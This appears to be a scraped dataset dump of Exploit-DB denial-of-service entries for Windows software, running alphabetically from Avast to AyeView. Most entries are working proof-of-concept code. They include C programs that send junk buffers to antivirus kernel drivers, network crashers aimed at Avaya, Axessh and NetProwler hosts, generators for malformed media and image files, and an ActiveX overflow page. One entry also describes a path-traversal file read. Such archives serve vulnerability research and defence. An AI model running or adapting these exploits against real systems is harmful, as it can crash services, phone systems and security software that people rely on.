deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38934
Description: Avast! - Integer Overflow Verifying numFonts in TTC Header
Type: dos
Platform: windows
Date: 2015-12-10
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=549

If the numFonts field in the TTC header is greater than (SIZE_MAX+1) / 4, an integer overflow occurs in filevirus_ttf() when calling CSafeGenFile::SafeLockBuffer.

The TTC file format is described here https://www.microsoft.com/typography/otspec/otff.htm

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38934.zip
Exploit-DB #10106
Description: Avast! 4.8.1351.0 AntiVirus - 'aswMon2.sys' Kernel Memory Corruption
Type: dos
Platform: windows
Date: 2009-11-17
Author: Giuseppe

Exploit:
/* Avast 4.8.1351.0 antivirus aswMon2.sys Kernel Memory Corruption
 *
 * Author: Giuseppe 'Evilcry' Bonfa'
 * E-Mail: evilcry _AT_ gmail _DOT_ com
 * Website: http://evilcry.netsons.org
 *          http://evilcodecave.blogspot.com 
 *          http://evilfingers.com
 *
 * Vendor: Notified
 *
 * No L.P.E. for kiddies
 * /

#define WIN32_LEAN_AND_MEAN
#include < windows.h>
#include < stdio.h>


BOOL OpenDevice(PWSTR DriverName, HANDLE *lphDevice) //taken from esagelab
{
        WCHAR DeviceName[MAX_PATH];
        HANDLE hDevice;

        if ((GetVersion() & 0xFF) >= 5) 
        {
                wcscpy(DeviceName, L"\\\\.\\Global\\");
        } 
        else 
        {
                wcscpy(DeviceName, L"\\\\.\\");
        }

        wcscat(DeviceName, DriverName);

        printf("Opening.. %S\n", DeviceName);

        hDevice = CreateFileW(DeviceName, GENERIC_READ | 
        GENERIC_WRITE, 0, NULL, OPEN_EXISTING,
                FILE_ATTRIBUTE_NORMAL, NULL);

        if (hDevice == INVALID_HANDLE_VALUE)
        {
                printf("CreateFile() ERROR %d\n", GetLastError());
                return FALSE;
        }

        *lphDevice = hDevice;

       return TRUE;
}

int main()
{
        HANDLE hDev = NULL;
        DWORD Junk;

        if(!OpenDevice(L"aswMon",&hDev))
        {
                printf("Unable to access aswMon");
                return(0);
        }

        char *Buff = (char *)VirtualAlloc(NULL, 0x288, MEM_RESERVE | 
        MEM_COMMIT, PAGE_EXECUTE_READWRITE);

        if (Buff)
        {
                memset(Buff, 'A', 0x288);
                DeviceIoControl(hDev,0xB2C80018,Buff,
                0x288,Buff,0x288,&Junk,(LPOVERLAPPED)NULL);
                printf("DeviceIoControl Executed..\n"); 
        }    
        else
        {
                printf("VirtualAlloc() ERROR %d\n", GetLastError());
        }


        return(0);
}
Exploit-DB #15420
Description: Avast! Internet Security - aswtdi.sys Local Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2010-11-04
Author: Nikita Tarakanov

Exploit:
/*
# Exploit Title: Avast! Internet Security aswtdi.sys 0day Local DoS PoC
# Date: 2010-11-04
# Author: Nikita Tarakanov (CISS Research Team)
# Software Link: http://www.avast.com
# Version: up to date, version 5.0.677, aswtdi.sys version 5.0.677
# Tested on: Win XP SP3
# CVE : CVE-NO-MATCH
# Status : Unpatched
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <io.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <share.h>


int main(int argc, char **argv)
{
    HANDLE   hDevice;
    DWORD    cb;
    void        *buff;
    int len = 0;
    int pfh;
    int outlen = 0, inlen = 0;
    DWORD ioctl = 0x800515A8;
    char deviceName[] = "\\\\.\\aswTdi";

    if ( (hDevice = CreateFileA(deviceName,
                          GENERIC_READ|GENERIC_WRITE,
                          0,
                          0,
                          OPEN_EXISTING,
                          0,
                          NULL) ) != INVALID_HANDLE_VALUE )
    {
        printf("Device  succesfully opened!\n");
    }
    else
    {
        printf("Error: Error opening device \n");
        return 0;
    }

    cb = 0;
    buff = malloc(0x2000);
    if(!buff){
      printf("malloc failed");
      return 0;
    }
    memset(buff, 'A', 0x2000-1);
    ioctl = 0x80000004;
    inlen = 4;

    outlen = 4;
    DeviceIoControl(hDevice, ioctl, (LPVOID)buff, inlen, (LPVOID)buff,
outlen, &cb, NULL);
    free(buff);

    printf("done!");
}
Exploit-DB #23337
Description: Avaya Argent Office - DNS Packet Denial of Service
Type: dos
Platform: windows
Date: 2001-08-07
Author: Jacek Lipkowski

Exploit:
// source: https://www.securityfocus.com/bid/8976/info

It has been reported that Avaya Argent Office is prone to a denial of service condition when handling malformed DNS packets. The problem is said to occur when a DNS packet with no payload is handled. Receiving the packet is said to cause the device to reboot. 

/* argent_kill.c 
(c) 2001 Jacek Lipkowski sq5bpf acid ch pw edu pl
Reboots an Argent Office box by sending udp packets with no payload to port 53
usage: argent_kill ip_address
*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>

main(int argc, char *argv[])
{
struct sockaddr_in addr;
struct hostent *host;
int s;

s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (s==-1) { perror("socket()"); exit(1); }
host=gethostbyname(argv[1]);
if (host==0) { herror("gethostbyname"); exit(1); }
memcpy(&addr.sin_addr,host->h_addr,host->h_length);
addr.sin_port=htons(53);
addr.sin_family=AF_INET;
if (connect(s,&addr,16)==-1) { perror("connect()"); exit(1); }
for (;;)
{
send(s,0,0,0); sleep(1); printf("."); fflush(stdout);
}
close(s);
}
Exploit-DB #17045
Description: Avaya IP Office Manager 8.1 TFTP - Denial of Service
Type: dos
Platform: windows
Date: 2011-03-24
Author: Craig Freyman

Exploit:
#Exploit Title: Avaya IP Office Manager TFTP DOS
#Version: Avaya IP Office Manager 8.1 (5)
#Author: Craig Freyman (cd1zz)
#Date: March 23, 2011
#Description: Avaya IP Office Manager is the management console for Avaya IP Office phone systems. 
#There is a built in TFTP server that is used to update the firmware on phones. The TFTP service 
#is loaded when the admin console is opened. I was not able to overwrite any registers or the SEH.
#Software Link: ftp://ftp.avaya.com/incoming/Up1cku9/SoftwarePub/6_1GA_Builds/ADMIN6_1_5.exe
#Tested on: Windows XP SP3

#!/usr/bin/python
import socket

host = '192.168.133.131'
port = 69

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

crash = "A" * 2000

print "Sending crash...."
pwned = "\x00\x02" + "A" + "\x00" + crash + "\x00"
s.sendto(pwned, (host, port))
Exploit-DB #29937
Description: Aventail Connect 4.1.2.13 - Hostname Remote Buffer Overflow
Type: dos
Platform: windows
Date: 2007-04-30
Author: Thomas Pollet

Exploit:
source: https://www.securityfocus.com/bid/23717/info

Aventail Connect is prone to a buffer-overflow vulnerability because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

An attacker may exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts wlll result in a denial of service.

This issue affects Aventail Connect 4.1.2.13; other versions may also be affected. 

ssh $(perl -e 'print 'a'x2200')
Exploit-DB #15384
Description: AVG Internet Security 9.0.851 - Local Denial of Service
Type: dos
Platform: windows
Date: 2010-11-02
Author: Nikita Tarakanov

Exploit:
/*
# Exploit Title: AVG Internet Security 0day Local DoS Exploit
# Date: 2010-11-01 
# Author: Nikita Tarakanov (CISS Research Team)
# Software Link: http://www.avg.com
# Version: up to date, version 9.0.851, avgtdix.sys version 9.0.0.832
# Tested on: Win XP SP3
# CVE : CVE-NO-MATCH
# Status : Unpatched
*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <io.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <share.h>



int main(int argc, char **argv)
{
	HANDLE   hDevice;
	DWORD    cb;
	void		*buff;
	int outlen = 0x18, inlen = 0x10;
	DWORD ioctl = 0x830020C8;
	char deviceName[] = "\\\\.\\avgtdi";
	char logName[] = "avgtdi.log";

	if ( (hDevice = CreateFileA(deviceName, 
						  GENERIC_READ|GENERIC_WRITE,
						  0,
						  0,
						  OPEN_EXISTING,
						  0,
						  NULL) ) != INVALID_HANDLE_VALUE )
	{
		printf("Device  succesfully opened!\n");
	}
	else
	{
		printf("Error: Error opening device \n");
		return 0;
	}

	cb = 0;
	buff = malloc(0x1000);
	if(!buff){
	  printf("malloc failed");
	  return 0;
	}
	memset(buff, 'A', 0x1000-1);



	DeviceIoControl(hDevice, ioctl, (LPVOID)buff, inlen, (LPVOID)buff, outlen, &cb, NULL);

	free(buff);
}
Exploit-DB #16986
Description: AVIPreview 0.26 Alpha - Denial of Service
Type: dos
Platform: windows
Date: 2011-03-16
Author: BraniX

Exploit:
# done by BraniX <branix@hackers.org.pl>
# www.hackers.org.pl
# found: 2011.03.15
# published: 2011.03.15
# tested on: Windows XP SP3 Home Edition

# App:              AVIPreview 0.26 Alpha
# App Url:          http://www.divx-digest.com/software/avipreview_aj.html
# AVIPreview.exe    MD5: 399ab43edd26c655d0876dc5ddcaa3a7

# DoS is caused by Access Violation Exception, app reads memory via null pointer

# 00405B59  8B0D E0B14100   MOV ECX,DWORD PTR DS:[41B1E0]       <-- Read from .data section DD 0h
# 00405B5F  8B11            MOV EDX,DWORD PTR DS:[ECX]          <-- Exception, but if EDX is a pointer to SH
# 00405B61  A1 E0B14100     MOV EAX,DWORD PTR DS:[41B1E0]
# 00405B66  50              PUSH EAX
# 00405B67  FF52 30         CALL DWORD PTR DS:[EDX+30]          <-- We will have LCE

# if exploiter can force something minigfull to ECX (.data is RW)
# so he/she will have code execution 

path = "C:\\DoS.avi"
f = open(path, "wb")
f.write('\x41' * 500000)
f.close()

print "File generated: " + path
print "In order to DoS AVIPreview 0.26 Alpha execute following steps\n"

print "1. Open file '" + path + "'in AVIPreview, application will show MessageBox with error, but will not crash"
print "2. Select 'No', otherway AVIPreview will pop-up browser"
print "3. Navigate to File menu and pick recent file (which point to our AVI file)"
print "4. You have DoS :>"
Exploit-DB #19843
Description: AVM KEN! 1.3.10/1.4.30 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2000-04-12
Author: eAX

Exploit:
source: https://www.securityfocus.com/bid/1103/info

A remote user on the local network is capable of retrieving any known file from a machine running AVM KEN!. This is accomplished by appending ../ to a URL utilizing port 3128 to escape the regular web file structure, and appending the remaining path onto the request.
eg.
http://target:3128/../../../filename.ext

A denial of service attack could also be launched against AVM KEN! by sending random characters to port 3128. A restart would be required in order to regain normal functionality. 

import java.net.Socket;
import java.io.*;

/*
BARBIE - The AVM KEN! exploit

This exploit causes a crash in the AVM KEN! ISDN Proxy software.
All conections will be cut off, but the server will restart again, 
a few seconds later.

Tested with AVM KEN! Version 1.03.10 (german)
*/

class barbie {

String adress;

public void killken() { 
PrintWriter out = null;
try{
    Socket connection = new Socket( adress, 3128);
    System.out.println("");
    System.out.println("killing..."); 
    out  = new PrintWriter(connection.getOutputStream(), true);
    out.println("Whooopppss_Ken_died");
    connection.close();
   }
catch (IOException e)
{
System.out.println("");
System.out.println(" Can't met Ken! ");
}  
}


public static void main (String arguments[]) {
barbie kk = new barbie();
if(arguments.length < 1)
{
System.out.println("");
System.out.println("usage: java barbie <adress/ip>");
System.exit(1);
}
kk.adress = arguments[0];
kk.killken();
}

}
Exploit-DB #26519
Description: AVS Media Player 4.1.11.100 - '.ac3' Denial of Service
Type: dos
Platform: windows
Date: 2013-07-01
Author: metacom

Exploit:
#!/usr/bin/python
print """
 [+]Exploit Title:AVS Media Player(.ac3)Denial of Service Exploit
 [+]Vulnerable Product:4.1.11.100
 [+]Download Product:http://www.avs4you.com/de/downloads.aspx
 [+]All AVS4YOU Software has problems with format .ac3
 [+]Date: 29.06.2013
 [+]Exploit Author: metacom
 [+]RST
 [+]Tested on: Windows 7
 """

buffer=(
"\x0B\x77\x3E\x68\x50\x40\x43\xE1\x06\xA0\xB9"
"\x65\xFF\x3A\xBE\x7C\xF9\xF3\xE7\xCF\x9F\x3E"
)

junk = "\x41" * 5000
bob = "\x42" * 100

exploit = buffer+ junk + bob
 
try:
    rst= open("exploit.ac3",'w')
    rst.write(exploit)
    rst.close()
    print("\nExploit file created!\n")
except:
    print "Error"
Exploit-DB #9116
Description: AwingSoft Web3D Player - 'WindsPly.ocx' Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-07-10
Author: shinnai

Exploit:
-----------------------------------------------------------------------------
 AwingSoft Web3D Player (WindsPly.ocx) "SceneURL()" Remote Buffer Overflow
 url: http://www.awingsoft.com/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.net/

 Dedicated to aaannamariaaa :D

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 File: WindsPly.ocx
 Ver.: <= 3.5.0.0
 GUID: {17A54E7D-A9D4-11D8-9552-00E04CB09903}
 ProgID: WindsPlayerIE.View.1

 Marked as:
 RegKey Safe for Script: Falso
 RegKey Safe for Init: Falso
 Implements IObjectSafety: Vero
 IDisp Safe: Safe for untrusted: caller,data
 IPersist Safe: Safe for untrusted: caller,data
 IPStorage Safe: Safe for untrusted: caller,data

 Tested on Windows XP Professional SP3 all patched, with Internet Explorer 8
-----------------------------------------------------------------------------
<object classid='clsid:17A54E7D-A9D4-11D8-9552-00E04CB09903' id='test'></object>

<script language='vbscript'>
  buff = String(8704, "A")
  mReg = unescape("bbbb")
  mExc = unescape("%00%00%01%00") 'Memory address: 00010000 Access: RW
  buf1 = String(88, "c")
  buf2 = String(47284, "D")

  test.SceneURL = buff + mReg + mExc + buf1 + buf2
</script>

# milw0rm.com [2009-07-10]
Exploit-DB #19940
Description: Axent NetProwler 3.0 - IP Packets Denial of Service (1)
Type: dos
Platform: windows
Date: 2000-05-18
Author: rain forest puppy

Exploit:
// source: https://www.securityfocus.com/bid/1225/info

Axent NetProwler 3.0 IDS is vulnerable to a malformed packet attack. It will crash if the Man-in-the-Middle signature encounters a packet for which the following expression is true:
(IP_HEADER_LENGTH + TCP_HEADER_LENGTH) > IP_TOTAL_LENGTH

According to Axent Security team, this is not a fragmented packet issue as reported in RFP2K05 By Rain Forest Puppy.

In addition, NetProwler utilizes Microsoft JET engine 3.5 for storing incoming alert information. More information regarding the Microsoft JET engine 3.5 vulnerability can be found at:

https://www.securityfocus.com/bid/286 

/* 	RFProwl.c - rain forest puppy / wiretrip / rfp@wiretrip.net
	
	Kills NetProwler IDS version 3.0
	
	You need libnet installed.  It's available from
	www.packetfactory.net.  Acks to route.

	Only tested on RH 6.x Linux.  To compile:
	gcc RFProwl.c -lnet -o RFProwl			

	Plus, make sure your architecture is defined below:   */

#define LIBNET_LIL_ENDIAN 1
#undef  LIBNET_BIG_ENDIAN 1

#include <libnet.h>

/* it's just much easier to code in the packet frags we want. :) */

char pack1[]="\x45\x00"
"\x00\x24\x08\xb9\x00\x03\x3e\x06\x96\xf8\x0a\x09\x65\x0d\x0a\x09"
"\x64\x01\x04\x02\x08\x0a\x00\x26\xcd\x35\x00\x00\x00\x00\x01\x02"
"\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

char pack2[]="\x45\x00"
"\x00\x2c\x08\xbf\x20\x00\x3e\x06\x76\xed\x0a\x09\x65\x0d\x0a\x09"
"\x64\x01\x04\x08\x00\x15\xa7\xe4\x00\x48\x00\x00\x00\x00\xa0\x02"
"\x7d\x78\x72\x9d\x00\x00\x02\x04\x05\xb4\x00\x00";

int main(int argc, char **argv) {
    int sock, c;
    u_long src_ip, dst_ip;

    printf("RFProwl - rain forest puppy / wiretrip\n");

    if(argc<3){
      printf("Usage: RFProwl <profiled IP/destination> <src IP(fake)>\n");
      exit(EXIT_FAILURE);}

    dst_ip=inet_addr(argv[1]);
    src_ip=inet_addr(argv[2]);

    memcpy(pack1+16,&dst_ip,4);
    memcpy(pack2+16,&dst_ip,4);
    memcpy(pack1+12,&src_ip,4);
    memcpy(pack1+12,&src_ip,4);

    sock = open_raw_sock(IPPROTO_RAW);
    if (sock == -1){
      perror("Socket problems: ");
      exit(EXIT_FAILURE);}
    
    c = write_ip(sock, pack1, 46);
    if (c < 46) printf("Write_ip #1 choked\n");

    c = write_ip(sock, pack2, 46);
    if (c < 46) printf("Write_ip #2 choked\n");
  
    printf("Packets sent\n");

    return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);}
Exploit-DB #19941
Description: Axent NetProwler 3.0 - IP Packets Denial of Service (2)
Type: dos
Platform: windows
Date: 2000-05-18
Author: Pedro Quintanilha

Exploit:
source: https://www.securityfocus.com/bid/1225/info
 
Axent NetProwler 3.0 IDS is vulnerable to a malformed packet attack. It will crash if the Man-in-the-Middle signature encounters a packet for which the following expression is true:
(IP_HEADER_LENGTH + TCP_HEADER_LENGTH) > IP_TOTAL_LENGTH
 
According to Axent Security team, this is not a fragmented packet issue as reported in RFP2K05 By Rain Forest Puppy.
 
In addition, NetProwler utilizes Microsoft JET engine 3.5 for storing incoming alert information. More information regarding the Microsoft JET engine 3.5 vulnerability can be found at:
 
https://www.securityfocus.com/bid/286 

#include "tcpip.casl"
#include "packets.casl"

Src = pop args;
Dst = pop args;


Src = getip(Src);
Dst = getip(Dst);


iph = copy TCPIP;
iph.ip_version = 4;
iph.ip_headerlen = 5;
iph.ip_tos = 0;
iph.ip_length = 36;
iph.ip_id  = 2233;
iph.ip_offset = 3;
iph.ip_ttl = 62;
iph.ip_protocol = 6;
iph.ip_cksum = 38648;
iph.ip_source = Src;
iph.ip_destination = Dst;

tch = copy SYN;
tch.tcp_source = 1026;
tch.tcp_destination = 2058;
tch.tcp_seqno = 2542901;
tch.tcp_ackno = 0;
tch.tcp_offset = 0;
tch.tcp_x2 = 1;
tch.tcp_syn = 1;
tch.tcp_window = 768;

pk1data = "\x 0\x 0\x 0\x 0\x 0\x 0";


packet = [ iph, tch, pk1data ];

ip_output(packet);

iph2 = copy TCPIP;
iph2.ip_version = 4;
iph2.ip_headerlen = 5;
iph2.ip_tos = 0;
iph2.ip_length = 44;
iph2.ip_id = 2239;
iph2.ip_mf = 1;
iph2.ip_ttl = 62;
iph2.ip_protocol = 6;
iph2.ip_cksum = 30445;
iph2.ip_source = Src;
iph2.ip_destination = Dst;

tch2 = copy SYN;
tch2.tcp_source = 1032;
tch2.tcp_destination = 21;
tch2.tcp_seqno =[PII_REDACTED];
tch2.tcp_ackno = 0;
tch2.tcp_x2 = 10;
tch2.tcp_syn = 1;
tch2.tcp_window = 32120;
tch2.tcp_cksum = 29341;

pk2data = "\x 2\x 4\x 5\xb4 \x 0\x 0";

packet = [ iph2, tch2, pk2data ];

ip_output(packet);
Exploit-DB #46858
Description: Axessh 4.2 - 'Log file name' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-16
Author: Victor Mondragón

Exploit:
#Exploit Title: Axessh 4.2 'Log file name' - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-14
#Vendor Homepage: http://www.labf.com
#Software Link: http://www.labf.com/download/axessh.exe
#Tested Version: 4.2
#Tested on: Windows 7 Service Pack 1 x32

#Steps to produce the crash:
#1.- Run python code: Axessh_4.2.py
#2.- Open Axess.txt and copy content to clipboard
#3.- Open Axessh.exe
#4.- In "Telnet Connect Host" select "Details>>" > "Settings"
#5.- Select "Logging" and enable "Log all sessions output"
#6.- In "Log file name" paste Clipboard
#7.- Select "OK" and in "Telnet Connect Host" select "Ok"
#8.- Crashed

cod = "\x41" * 500

f = open('Axess.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #40699
Description: Axessh 4.2 - Denial of Service
Type: dos
Platform: windows
Date: 2016-11-03
Author: hyp3rlinx

Exploit:
[+] Credits: John Page aka hyp3rlinx	

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AXESSH-DENIAL-OF-SERVICE.txt

[+] ISR: ApparitionSec



Vendor:
============
www.labf.com



Product:
=============
Axessh 4.2.2

Axessh is a SSH client. It is a superb terminal emulator/telnet client for Windows. It provides SSH capabilities to Axessh without
sacrificing any of existing functionality. Furthermore, Axessh has been developed entirely outside of the USA, and can be sold
anywhere in the world (apart from places where people aren't allowed to own cryptographic software).

2. Axessh features include:
Compatible with SSH protocol version 2.0 (a SSH2-client based on OpenSSH 3.4)
Compatible with SSH protocol version 1.5
Ciphers(for the SSH1-client): 3DES, Blowfish, DES, RC4
Ciphers(for the SSH2-client): 3DES, Blowfish, CAST128, ARCFOUR, AES128, AES192, AES256-cbc
Authentication using password
Authentication RSA
Compression support
Connection forwarding, including full support for X-protocol connection forwarding
"Dynamic Forwarding" which provides other tasks on the same PC with requested port forwarding 



Vulnerability Type:
====================
Denial Of Service

AxeSSH will crash after receiving a overly long payload of junk...



Exploit code(s):
===============

1) Open the settings window for axessh and choose Run then click Run as EXE, this will launch "xwpsshd.exe"
crashes with bad protocol version.


import socket

print "Axessh 4.2.2 XwpSSHD (wsshd.exe) Remote Denial Of Service"

ip = raw_input("[IP]> ")
port = 22
payload="A"*2000
s=socket.create_connection((ip,port))
s.send(payload)



Exploitation Technique:
=======================
Remote



Severity Level:
================
Medium



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
Exploit-DB #6668
Description: AyeView 2.20 - '.GIF' Image Local Crash
Type: dos
Platform: windows
Date: 2008-10-04
Author: suN8Hclf

Exploit:
Name      : AyeView v2.20 (malformed gif image) DoS Exploit
Credit    : suN8Hclf (DaRk-CodeRs Group), crimson.loyd@gmail.com
Download: : http://www.ayeview.com/downloads.htm
Greetz    : Luigi Auriemma, 0in, cOndemned, e.wiZz!, Gynvael Coldwind, 
            Katharsis, all from #dark-coders and others;]

PoC:



#!/usr/local/bin/perl   
# Open file (File->Open) or simply click on the image miniature
# AyeView freezes and after few seconds crashes...
# Tested on Windows XP SP2 & Windows 2000 SP4

my $code="\x47\x49\x46\x38\x39\x61\xff\xff\xff\xff\x0e".
         "\x00\x00\x2c\x00\x00\x00\x00\xff\xff\xff\xff\x00";
my $file="open_me.gif";

open(my $FILE, ">>$file") or die "[!]Cannot open file";
print $FILE $code;
close($FILE);
print "$file has been generated\n"
print "Credit: suN8Hclf, www.dark-coders.pl"

# milw0rm.com [2008-10-04]